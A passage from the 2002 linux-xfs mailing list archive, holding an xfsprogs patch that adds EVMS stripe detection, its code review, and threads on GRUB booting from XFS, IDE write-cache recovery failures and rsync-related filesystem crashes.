evms.c > +HFILES = fstype.h pttype.h md.h xvm.h evms.h > > default: $(LTLIBRARY) > > Index: libdisk/drivers.c > =================================================================== > RCS file: /cvs/linux-2.4-xfs/cmd/xfsprogs/libdisk/drivers.c,v > retrieving revision 1.7 > diff -u -p -r1.7 drivers.c > --- libdisk/drivers.c 2002/06/04 23:07:56 1.7 > +++ libdisk/drivers.c 2002/08/01 18:44:55 > @@ -40,6 +40,7 @@ > extern int md_get_subvol_stripe(char*, sv_type_t, int*, int*, struct stat64*); > extern int lvm_get_subvol_stripe(char*, sv_type_t, int*, int*, struct stat64*); > extern int xvm_get_subvol_stripe(char*, sv_type_t, int*, int*, struct stat64*); > +extern int evms_get_subvol_stripe(char*, sv_type_t, int*, int*, struct stat64*); > > void > get_subvol_stripe_wrapper(char *dev, sv_type_t type, int *sunit, int *swidth) > @@ -54,11 +55,13 @@ get_subvol_stripe_wrapper(char *dev, sv_ > exit(1); > } > > - if ( md_get_subvol_stripe(dev, type, sunit, swidth, &sb)) > + if (md_get_subvol_stripe(dev, type, sunit, swidth, &sb)) > return; > if (lvm_get_subvol_stripe(dev, type, sunit, swidth, &sb)) > return; > if (xvm_get_subvol_stripe(dev, type, sunit, swidth, &sb)) > + return; > + if (evms_get_subvol_stripe(dev, type, sunit, swidth, &sb)) > return; > /* ... add new device drivers here */ > } > --- /dev/null Thu Dec 13 11:34:58 2001 > +++ libdisk/evms.c Thu Aug 1 21:42:27 2002 > @@ -0,0 +1,67 @@ > +/* > + * Copyright (c) International Business Machines Corp., 2002 > + * Portions Copyright (c) 2002 Silicon Graphics, Inc. All Rights Reserved. > + * > + * This program is free software; you can redistribute it and/or modify > + * it under the terms of the GNU General Public License as published by > + * the Free Software Foundation; either version 2 of the License, or > + * (at your option) any later version. > + * > + * This program is distributed in the hope that it will be useful, > + * but WITHOUT ANY WARRANTY; without even the implied warranty of > + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See > + * the GNU General Public License for more details. > + * > + * You should have received a copy of the GNU General Public License > + * along with this program; if not, write to the Free Software > + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA > + */ > + > +#include > +#include > +#include > +#include > +#include > +#include > +#include "evms.h" > + > +int > +mnt_is_evms_subvol(dev_t dev) > +{ > + if (major(dev) == EVMS_MAJOR) > + return 1; > + if (major(dev) == get_driver_block_major("evms")) > + return 1; > + return 0; > +} > + > +int > +evms_get_subvol_stripe( > + char *dfile, > + sv_type_t type, > + int *sunit, > + int *swidth, > + struct stat64 *sb) > +{ > + if (mnt_is_evms_subvol(sb->st_rdev)) { > + struct evms_vol_stripe_info info; > + int fd; > + > + fd = open(dfile, O_RDONLY); > + if (fd < 0) > + return 0; > + > + if (ioctl(fd, EVMS_GET_VOL_STRIPE_INFO, &info)) { > + fprintf(stderr, > + "Error getting EVMS stripe size from %s\n", > + dfile); > + exit(1); > + } > + > + *sunit = info.size; > + *swidth = *sunit * info.width; > + > + return 1; > + } > + return 0; > +} > --- /dev/null Thu Dec 13 11:34:58 2001 > +++ libdisk/evms.h Thu Aug 1 21:43:49 2002 > @@ -0,0 +1,38 @@ > +/* > + * Copyright (c) International Business Machines Corp., 2002 > + * > + * This program is free software; you can redistribute it and/or modify > + * it under the terms of the GNU General Public License as published by > + * the Free Software Foundation; either version 2 of the License, or > + * (at your option) any later version. > + * > + * This program is distributed in the hope that it will be useful, > + * but WITHOUT ANY WARRANTY; without even the implied warranty of > + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See > + * the GNU General Public License for more details. > + * > + * You should have received a copy of the GNU General Public License > + * along with this program; if not, write to the Free Software > + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA > + */ > + > +#ifndef EVMS_MAJOR > +#define EVMS_MAJOR 117 /* we also check at runtime */ > +#endif > + > +#define EVMS_GET_VOL_STRIPE_INFO_NUMBER 0xF0 > + > +#define EVMS_GET_VOL_STRIPE_INFO \ > + _IOR(EVMS_MAJOR, EVMS_GET_VOL_STRIPE_INFO_NUMBER, struct evms_vol_stripe_info) > + > +/* > + * struct evms_vol_stripe_info - contains stripe information for a volume > + * > + * unit: the stripe unit specified in 512 byte block units > + * width: the number of stripe members or RAID data disks > + * > + */ > +struct evms_vol_stripe_info { > + __uint32_t size; > + __uint32_t width; > +}; > -- regards, Luciano Chavez lnx1138@us.ibm.com http://evms.sourceforge.net From owner-linux-xfs@oss.sgi.com Thu Aug 1 13:12:18 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71KCIRw013614 for ; Thu, 1 Aug 2002 13:12:18 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71KCIVv013613 for linux-xfs-outgoing; Thu, 1 Aug 2002 13:12:18 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.infradead.org [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71KCBRw013585 for ; Thu, 1 Aug 2002 13:12:12 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17aMKQ-0005t6-00; Thu, 01 Aug 2002 21:13:46 +0100 Date: Thu, 1 Aug 2002 21:13:46 +0100 From: Christoph Hellwig To: Luciano Chavez Cc: linux-xfs@oss.sgi.com, lord@sgi.com Subject: Re: xfsprogs patch for evms Message-ID: <20020801211346.A22342@infradead.org> References: <1028213377.16184.77.camel@chavez> <20020801161512.A14257@infradead.org> <1028216192.16184.116.camel@chavez> <1028225798.16220.182.camel@chavez> <20020801195512.A20402@infradead.org> <1028231137.16184.202.camel@chavez> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1028231137.16184.202.camel@chavez>; from lnx1138@us.ibm.com on Thu, Aug 01, 2002 at 02:45:37PM -0500 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 01, 2002 at 02:45:37PM -0500, Luciano Chavez wrote: > Umm, where did you see O_NDELAY? I meant O_NONBLOCK, sorry. > Yes, evms does appear in /proc/devices. What dynamic major detection? > Are you referring to the way device-mapper obtains major numbers? We > only have one, 117. I refer to the way of checking the major number that the actually running kernel uses. this is important for drivers such a dm or xvm that don't have a static major but also helps other in case it e.g. acquires another major number. > Do you really want to fail mkfs.xfs if you can't get the stripe info? is there any reason such an ioctl should fail for a valid evms configuration? if no then yes, I want it to fail. else we should just return 0. From owner-linux-xfs@oss.sgi.com Thu Aug 1 14:30:50 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71LUoRw016458 for ; Thu, 1 Aug 2002 14:30:50 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71LUoQd016457 for linux-xfs-outgoing; Thu, 1 Aug 2002 14:30:50 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71LUdRw016424 for ; Thu, 1 Aug 2002 14:30:39 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e31.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g71LWBXW029334; Thu, 1 Aug 2002 17:32:11 -0400 Received: from chavez.austin.ibm.com (chavez.austin.ibm.com [9.53.216.228]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g71LWB8v125606; Thu, 1 Aug 2002 15:32:11 -0600 Subject: Re: xfsprogs patch for evms From: Luciano Chavez To: Christoph Hellwig Cc: linux-xfs@oss.sgi.com, lord@sgi.com In-Reply-To: <20020801211346.A22342@infradead.org> References: <1028213377.16184.77.camel@chavez> <20020801161512.A14257@infradead.org> <1028216192.16184.116.camel@chavez> <1028225798.16220.182.camel@chavez> <20020801195512.A20402@infradead.org> <1028231137.16184.202.camel@chavez> <20020801211346.A22342@infradead.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 01 Aug 2002 16:28:07 -0500 Message-Id: <1028237287.16220.247.camel@chavez> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.4 required=5.0 tests=IN_REP_TO,FROM_ENDS_IN_NUMS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-01 at 15:13, Christoph Hellwig wrote: > On Thu, Aug 01, 2002 at 02:45:37PM -0500, Luciano Chavez wrote: > > Umm, where did you see O_NDELAY? > > I meant O_NONBLOCK, sorry. > I see. Cut and paste from one of the other EVMS utilities brought that. I don't see that the flag is necessary. Good catch. > > Yes, evms does appear in /proc/devices. What dynamic major detection? > > Are you referring to the way device-mapper obtains major numbers? We > > only have one, 117. > > I refer to the way of checking the major number that the actually running > kernel uses. this is important for drivers such a dm or xvm that don't > have a static major but also helps other in case it e.g. acquires another > major number. > Understood. I don't see a problem with the extra check but figure the first one will always succeed for an EVMS volume. > > Do you really want to fail mkfs.xfs if you can't get the stripe info? > > is there any reason such an ioctl should fail for a valid evms configuration? > if no then yes, I want it to fail. else we should just return 0. > No, it shouldn't fail. EVMS 1.1.0 introduces the EVMS_GET_VOL_STRIPE_INFO IOCtl and the permanent 117 major. The previous stable release 1.0.1 still used the experimental major of 63 so the current code should never get far enough to invoke the IOCtl since the major on the device isn't recognized to be EVMS. That being the case, I suppose it is OK to fail the mkfs if the IOCtl fails. -- regards, Luciano Chavez lnx1138@us.ibm.com http://evms.sourceforge.net From owner-linux-xfs@oss.sgi.com Thu Aug 1 22:32:19 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g725WJRw025107 for ; Thu, 1 Aug 2002 22:32:19 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g725WIDU025106 for linux-xfs-outgoing; Thu, 1 Aug 2002 22:32:18 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from omnilab.com.au (quinn.omnilab.com.au [203.94.136.163]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g725WARw025077 for ; Thu, 1 Aug 2002 22:32:11 -0700 Received: from Ione ([203.94.136.162]) by omnilab.com.au (SGI-8.9.3/8.9.3) with ESMTP id PAA51674 for ; Fri, 2 Aug 2002 15:12:21 +1000 (AEST) Content-Type: text/plain; charset="us-ascii" From: Grant Fraser Organization: Grunt Graphics To: linux-xfs@oss.sgi.com Subject: Red-Hat 7.3 SGI XFS bootable disk ?? Date: Fri, 2 Aug 2002 15:27:01 +1000 User-Agent: KMail/1.4.1 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200208021527.01648.grantf@grunt.com.au> X-Spam-Status: No, hits=-0.1 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Here's the deal.. we have a Dell 2560 server running RedHat 7.3 2-4-18-4SGI_XFS_1.1. Works great however we want to do something different. We need the partitions on the system disk to be XFS so we can use xfsdump and xfsrestore to continuely mirror the disk. I've followed all the instructions re copying the ext3 disk to an xfs partitioned drive and all looks ok. How do I change GRUB to boot off the new drive after I change the BIOS? It seems to work at the moment but just before its due to start RedHat proper it goes looking for an ext3 filesystem to boot root off. Of course there isn't one (they're all xfs). I've noticed that changing the startup disk in BIOS changes the order that GRUB sees the disks (the startup disk is always (hd0)) however once Linux is underway it sees the drives in SCSI order. Do I need a bootable CD with the right kernels on it? There is an RH7.2 disk on the site but it doesn't support the fibre channel we are running. Please note that I am using two seperate drives and changing the boot disk in BIOS. Any help would be apprecated.. Grant Fraser The Omnilab group Sydney Australia From owner-linux-xfs@oss.sgi.com Fri Aug 2 02:12:01 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g729C1Rw029590 for ; Fri, 2 Aug 2002 02:12:01 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g729C1qh029589 for linux-xfs-outgoing; Fri, 2 Aug 2002 02:12:01 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from smtpzilla2.xs4all.nl (smtpzilla2.xs4all.nl [194.109.127.138]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g729BpRw029560 for ; Fri, 2 Aug 2002 02:11:52 -0700 Received: from auto-nb1.xs4all.nl (coltex.xs4all.nl [213.84.127.28]) by smtpzilla2.xs4all.nl (8.12.0/8.12.0) with ESMTP id g729DMMm068262; Fri, 2 Aug 2002 11:13:23 +0200 (CEST) Message-Id: <4.3.2.7.2.20020802095706.03a4fb18@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 02 Aug 2002 10:03:00 +0200 To: Grant Fraser , linux-xfs@oss.sgi.com From: Seth Mos Subject: Re: Red-Hat 7.3 SGI XFS bootable disk ?? In-Reply-To: <200208021527.01648.grantf@grunt.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk At 15:27 2-8-2002 +1000, Grant Fraser wrote: >Here's the deal.. we have a Dell 2560 server running RedHat 7.3 >2-4-18-4SGI_XFS_1.1. Works great however we want to do something different. > >We need the partitions on the system disk to be XFS so we can use xfsdump and >xfsrestore to continuely mirror the disk. ? If you need backup there is something called software raid 1. What special functionality of XFS do you need? Is it the ACLs or Extended Attributes? xfsdump and xfsrestore are not ment to be a online backup tool that will give you two identical drives. If that is what you are trying to create. >I've followed all the instructions re copying the ext3 disk to an xfs >partitioned drive and all looks ok. Ah you didn't install the box using the 7.3 installer? >How do I change GRUB to boot off the new drive after I change the BIOS? It >seems to work at the moment but just before its due to start RedHat proper it >goes looking for an ext3 filesystem to boot root off. Of course there isn't >one (they're all xfs). I am not familiar with grub so I can't help you. >Do I need a bootable CD with the right kernels on it? There is an RH7.2 disk >on the site but it doesn't support the fibre channel we are running. There also is a Red Hat 7.3 XFS installer disk on the site. Eric do we have a installer iso available that has the .xdelta file included? >Please note that I am using two seperate drives and changing the boot disk in >BIOS. I understand that. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Fri Aug 2 05:19:47 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72CJlRw001535 for ; Fri, 2 Aug 2002 05:19:47 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72CJl4J001534 for linux-xfs-outgoing; Fri, 2 Aug 2002 05:19:47 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from server.home.at (root@chello212186127068.14.vie.surfer.at [212.186.127.68]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72CJdRw000842 for ; Fri, 2 Aug 2002 05:19:40 -0700 Received: from localhost.localdomain (sector17.home.at [192.168.1.1]) by server.home.at (8.12.1/8.12.1/Debian -5) with ESMTP id g72CKIgP013913; Fri, 2 Aug 2002 14:20:18 +0200 Subject: Re: recovery failed after power off From: Christian Thalinger To: Stephen Lord Cc: linux-xfs@oss.sgi.com In-Reply-To: <1028167048.1122.7.camel@laptop.americas.sgi.com> References: <1028154195.816.10.camel@sector17.home.at> <1028167048.1122.7.camel@laptop.americas.sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.7 Date: 02 Aug 2002 14:19:28 +0200 Message-Id: <1028290768.718.16.camel@sector17.home.at> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-01 at 03:57, Stephen Lord wrote: > So are you running IDE with write caching turned on? Any journaled > filesystem is going to have issues with a write cache enabled > drive if you drop the power on it. In order to work a journaled > file system has ordering constraints between log writes and > metadata writes. A drive write cache can cause these constraints > to be broken - a metadata write was probably still in cache and > the relevant log space was overwritten on disk. > > Steve > Yep, IDE drive with write cache. Sorry, i could guess it myself. Without write cache recovery seems to be ok. Now i have to find out how to disable write cache of IDE drives on a 3ware controller ;-) Regards. From owner-linux-xfs@oss.sgi.com Fri Aug 2 05:34:12 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72CYCRw002863 for ; Fri, 2 Aug 2002 05:34:12 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72CYCu5002862 for linux-xfs-outgoing; Fri, 2 Aug 2002 05:34:12 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from smtpzilla5.xs4all.nl (smtpzilla5.xs4all.nl [194.109.127.141]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72CY6Rw002834 for ; Fri, 2 Aug 2002 05:34:07 -0700 Received: from auto-nb1.xs4all.nl (coltex.xs4all.nl [213.84.127.28]) by smtpzilla5.xs4all.nl (8.12.0/8.12.0) with ESMTP id g72CZg7X051328; Fri, 2 Aug 2002 14:35:42 +0200 (CEST) Message-Id: <4.3.2.7.2.20020802143240.03ac4c28@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 02 Aug 2002 14:33:32 +0200 To: Christian Thalinger , Stephen Lord From: Seth Mos Subject: Re: recovery failed after power off Cc: linux-xfs@oss.sgi.com In-Reply-To: <1028290768.718.16.camel@sector17.home.at> References: <1028167048.1122.7.camel@laptop.americas.sgi.com> <1028154195.816.10.camel@sector17.home.at> <1028167048.1122.7.camel@laptop.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk At 14:19 2-8-2002 +0200, Christian Thalinger wrote: >Yep, IDE drive with write cache. Sorry, i could guess it myself. Without >write cache recovery seems to be ok. Now i have to find out how to >disable write cache of IDE drives on a 3ware controller ;-) It might be a 3ware configuration option. I also thought the 3ware controllers did this by default. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Fri Aug 2 05:44:12 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72CiCRw003103 for ; Fri, 2 Aug 2002 05:44:12 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72CiCfp003102 for linux-xfs-outgoing; Fri, 2 Aug 2002 05:44:12 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from blade.4t2.com (blade.4t2.com [194.77.116.115]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72Ci5Rw003072 for ; Fri, 2 Aug 2002 05:44:05 -0700 Received: from mx.sem-gmbh.com ([172.16.11.10]:20353 "EHLO ipsec.blade.4t2.com" ident: "NO-IDENT-SERVICE[2]" smtp-auth: TLS-PEER: ) by blade.4t2.com with ESMTP id ; Fri, 2 Aug 2002 14:45:38 +0200 Received: from sem-dev01.sem-gmbh.com ([194.99.20.211]:48644 "EHLO sem-gmbh.com") by sem-two.sem-gmbh.com with ESMTP id ; Fri, 2 Aug 2002 14:43:00 +0200 Message-ID: <3D4A7DFA.8060104@sem-gmbh.com> Date: Fri, 02 Aug 2002 14:41:30 +0200 From: Dirk Munzinger User-Agent: Mozilla/5.0 (Windows; U; Win98; de-AT; rv:1.0.0) Gecko/20020530 X-Accept-Language: de, de-at, en-us, en MIME-Version: 1.0 To: Seth Mos CC: Eric Sandeen , linux-xfs@oss.sgi.com Subject: Re: xfs-filesystem is broken after rsync References: <20020801125547.O1822-100000@xs1.xs4all.nl> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi Seth, Seth Mos schrieb: > I just thought of something. What flags are you passing for optimization? > I know that compiling with i586 is sometimes faster but I believe not > everything works OK. Can you check this by compiling for i486? > > The K6 cores were also faster with 486 optimizations for me then with > i586. I have compiled the kernel now with i486 optimization instead of K6 and - believe it or not - it looks fine now. If have just run some rsyncs without any problem. I will do some more tests over the weekend and I hope they will also work. Good tip ! Regards, Dirk From owner-linux-xfs@oss.sgi.com Fri Aug 2 05:49:12 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72CnCRw003333 for ; Fri, 2 Aug 2002 05:49:12 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72CnC4P003332 for linux-xfs-outgoing; Fri, 2 Aug 2002 05:49:12 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from smtpzilla1.xs4all.nl (smtpzilla1.xs4all.nl [194.109.127.137]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72Cn6Rw003304 for ; Fri, 2 Aug 2002 05:49:06 -0700 Received: from auto-nb1.xs4all.nl (coltex.xs4all.nl [213.84.127.28]) by smtpzilla1.xs4all.nl (8.12.0/8.12.0) with ESMTP id g72CoiW2061286; Fri, 2 Aug 2002 14:50:44 +0200 (CEST) Message-Id: <4.3.2.7.2.20020802144706.03ac2e20@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 02 Aug 2002 14:48:34 +0200 To: Dirk Munzinger From: Seth Mos Subject: Re: xfs-filesystem is broken after rsync Cc: Eric Sandeen , linux-xfs@oss.sgi.com, lord@sgi.com In-Reply-To: <3D4A7DFA.8060104@sem-gmbh.com> References: <20020801125547.O1822-100000@xs1.xs4all.nl> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk At 14:41 2-8-2002 +0200, Dirk Munzinger wrote: >Hi Seth, >>I just thought of something. What flags are you passing for optimization? >>I know that compiling with i586 is sometimes faster but I believe not >>everything works OK. Can you check this by compiling for i486? >>The K6 cores were also faster with 486 optimizations for me then with >>i586. > >I have compiled the kernel now with i486 optimization instead of K6 and - >believe it or not - it looks fine now. If have just run some rsyncs >without any problem. I will do some more tests over the weekend and I hope >they will also work. Okidoki. It's because I worked with a few K6 chips in the past that I know how they behave. They are not bad just peculiar. But that can be said from some Dell Intel hardware as well ;) Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Fri Aug 2 05:52:08 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72Cq8Rw003520 for ; Fri, 2 Aug 2002 05:52:08 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72Cq89r003519 for linux-xfs-outgoing; Fri, 2 Aug 2002 05:52:08 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.tvol.net (pr-66-150-46-254.wgate.com [66.150.46.254]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72Cq1Rw003491 for ; Fri, 2 Aug 2002 05:52:02 -0700 Received: from sinz.eng.tvol.net ([10.32.2.99]) by mail.tvol.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id NWHPN7SZ; Fri, 2 Aug 2002 08:50:39 -0400 Received: from wgate.com (localhost [127.0.0.1]) by sinz.eng.tvol.net (8.11.6/8.11.6) with ESMTP id g72Crf042501 for ; Fri, 2 Aug 2002 08:53:41 -0400 (EDT) (envelope-from msinz@wgate.com) Message-ID: <3D4A80D4.5040908@wgate.com> Date: Fri, 02 Aug 2002 08:53:40 -0400 From: Michael Sinz User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.0rc3) Gecko/20020524 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Re: xfs-filesystem is broken after rsync References: <3D46A2E4.8050106@sem-gmbh.com> <1028040131.2511.1.camel@stout.americas.sgi.com> <4.3.2.7.2.20020731105914.0335e828@pop.xs4all.nl> <3D47ADB9.20501@sem-gmbh.com> <3D47C020.50BB8806@ch.sauter-bc.com> <3D47D7C4.3090601@sem-gmbh.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Dirk Munzinger wrote: > Moin, > > Simon Matter schrieb: > > >> I was having problems with rsync -av.. one year ago on an almost >> identical system like you have. The unbelievable solution was to remove >> the verbose options from rsync!! > > > I have just tested it but the xfs still crashs... I have a large number of machines I use RSYNC with and they have yet to show a problem with RSYNC. This includes RSYNCs of complete mozilla.org CVS mirrors (local network and remote network) and RSYNCs of our full product disk. (In otherwords, very large, multi-hundred-megabyte RSYNC operations) This is to both SCSI and IDE based systems (and mixed SCSI/IDE too) -- Michael Sinz -- Director, Systems Engineering -- Worldgate Communications A master's secrets are only as good as the master's ability to explain them to others. From owner-linux-xfs@oss.sgi.com Fri Aug 2 05:55:13 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72CtDRw003701 for ; Fri, 2 Aug 2002 05:55:13 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72CtD3q003700 for linux-xfs-outgoing; Fri, 2 Aug 2002 05:55:13 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from dmzexc9.fw.garanti.com.tr ([194.29.208.15]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72Ct4Rw003666 for ; Fri, 2 Aug 2002 05:55:06 -0700 Received: from copexc10.fw.garanti.com.tr (COPEXC10 [10.145.0.44]) by dmzexc9.fw.garanti.com.tr with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id P6T49X3Z; Fri, 2 Aug 2002 15:55:42 +0300 Received: from gtiexc5.fw.teknoloji.com.tr ([10.129.0.122]) by copexc10.fw.garanti.com.tr with Microsoft SMTPSVC(5.0.2195.2966); Fri, 2 Aug 2002 15:56:41 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 MIME-Version: 1.0 Subject: ubsubscribe Date: Fri, 2 Aug 2002 15:56:40 +0300 Message-ID: <5FA6F2E719F6C04FAD76837E84929C3401EB4314@gtiexc5.fw.teknoloji.com.tr> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: ubsubscribe Thread-Index: AcI6JAuY3xr7K7zKRVa5cWFckVxHbA== From: "Osman Tufanogullari (Garanti Teknoloji)" To: X-OriginalArrivalTime: 02 Aug 2002 12:56:41.0167 (UTC) FILETIME=[0BD705F0:01C23A24] X-Spam-Status: No, hits=0.0 required=5.0 tests=MAILTO_LINK version=2.20 X-Spam-Level: Content-Disposition: inline Content-Type: text/plain Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g72CtDRw003702 ubsubscribe osmantuf sultan Itri Osman Tufanoðullarý Garanti Teknoloji Döküman Yönetimi ve Ýþ Akýþlarý Tel: +90 212 478 3160 Faks: +90 (212) 657 0473 E-Mail: mailto:osmantuf@garanti.com.tr Adres: Evren Mah Koçman Cad No 22 34550 Güneþli Ýstanbul Türkiye http://www.garantiteknoloji.com.tr [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Fri Aug 2 06:29:41 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72DTfRw004157 for ; Fri, 2 Aug 2002 06:29:41 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72DTfvX004156 for linux-xfs-outgoing; Fri, 2 Aug 2002 06:29:41 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72DTXRw004128 for ; Fri, 2 Aug 2002 06:29:34 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id IAA85658; Fri, 2 Aug 2002 08:31:07 -0500 (CDT) Received: from 